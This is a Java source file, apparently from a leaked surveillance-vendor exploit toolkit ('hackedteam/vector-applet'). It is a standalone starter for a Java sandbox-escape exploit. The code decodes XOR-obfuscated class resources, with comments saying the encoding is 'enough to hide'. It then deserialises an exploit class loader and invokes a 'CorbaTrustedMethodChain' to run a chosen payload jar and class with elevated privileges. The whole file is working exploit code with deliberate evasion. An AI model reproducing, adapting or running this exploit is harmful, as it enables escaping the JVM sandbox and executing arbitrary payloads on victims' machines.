hackedteam/vector-applet

package x;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;

public class StandaloneStarter {
    
    public static byte[] payloadRunnerClassBytes;    
    public static byte[] privilegedURLClassLoaderClassBytes;
    
   public static void main(String[] args) throws Exception {
        try {
            System.setSecurityManager(null);
            System.err.println("Please start with JVM parameters: -Djava.security.manager");
            System.err.println("Else running this demonstration makes no sense.");
            return;
        } catch( SecurityException ex ) {
            // We expect this
        }
        EP.docBase = "demomode";
        EP.pJar = "payload.jar";
        EP.pClass = "payload.DemoPayload";
        
        // Starting exploit
        try {
            byte[] bytes = new byte[4096];
            InputStream in = XAppletW.class.getResourceAsStream("classes.ser");
            ByteArrayOutputStream out = new ByteArrayOutputStream();
            int bytesRead;
            while( (bytesRead = in.read(bytes)) != -1) {
                out.write(bytes, 0, bytesRead);
            }
            in.close();
            bytes = out.toByteArray();
            for( int i=0; i<bytes.length; i++ ) {
                bytes[i] = (byte) (bytes[i] ^ 255); // "Inverse bits encryption": Enough to hide
            }
            ByteArrayInputStream bin = new ByteArrayInputStream(bytes);
            ObjectInputStream oin = new ObjectInputStream(bin);        
            EC cl = (EC) oin.readObject();
            //-------------------
              
            boolean decodeNeeded = true;
            in = XAppletW.class.getResourceAsStream("/x/pr");
            if( in == null ) {
                in = XAppletW.class.getResourceAsStream("/x/PayloadRunner.class");
                decodeNeeded = false; // Dev mode
            }
            
            bytes = new byte[100000];

            bytesRead = in.read(bytes);
            if( decodeNeeded ) {
                for( int i=0; i<bytes.length; i++ ) {
                    bytes[i] = (byte) (bytes[i] ^ 255); // Enought to hide
                }
            }
            byte[] payloadRunnerClassBytes = new byte[bytesRead];
            System.arraycopy(bytes, 0, payloadRunnerClassBytes, 0, bytesRead);
            
            decodeNeeded = true;
            in = XAppletW.class.getResourceAsStream("/x/puc");
            if( in == null ) {
                in = XAppletW.class.getResourceAsStream("/x/PrivilegedURLClassLoader.class");
                decodeNeeded = false; // Dev mode
            }
            
            bytes = new byte[100000];

            bytesRead = in.read(bytes);
            if( decodeNeeded ) {
                for( int i=0; i<bytes.length; i++ ) {
                    bytes[i] = (byte) (bytes[i] ^ 255); // Enought to hide
                }
            }
            byte[] privilegedURLClassLoaderClassBytes = new byte[bytesRead];
            System.arraycopy(bytes, 0, privilegedURLClassLoaderClassBytes, 0, bytesRead);
            
            decodeNeeded = true;
            in = XAppletW.class.getResourceAsStream("/x/bs");
            if( in == null ) {
                in = XAppletW.class.getResourceAsStream("/x/bytes.ser");
                decodeNeeded = false; // Dev mode
            }
            
            bytes = new byte[100000];

            bytesRead = in.read(bytes);
            if( decodeNeeded ) {
                for( int i=0; i<bytes.length; i++ ) {
                    bytes[i] = (byte) (bytes[i] ^ 255); // Enought to hide
                }
            }
            byte[] serializedBytes = new byte[bytesRead];
            System.arraycopy(bytes, 0, serializedBytes, 0, bytesRead);
            //-------------------
            Class ctmc = cl.getClass("x.CorbaTrustedMethodChain");
            ctmc.getField("payloadRunnerClassBytes").set(null, payloadRunnerClassBytes);
            ctmc.getField("privilegedURLClassLoaderClassBytes").set(null, privilegedURLClassLoaderClassBytes);
            ctmc.getField("serializedBytes").set(null, serializedBytes);
            ctmc.getField("docBase").set(null, EP.docBase);
            ctmc.getField("pJar").set(null, EP.pJar);
            ctmc.getField("pClass").set(null, EP.pClass);
            ctmc.getField("pArgs").set(null, EP.pArgs);
            ctmc.getField("pBin").set(null, EP.pBin);
            ctmc.getMethod("go", new Class[]{}).invoke(null, new Object[]{});
        } catch (Exception e) {
            e.printStackTrace();
        }
    }


}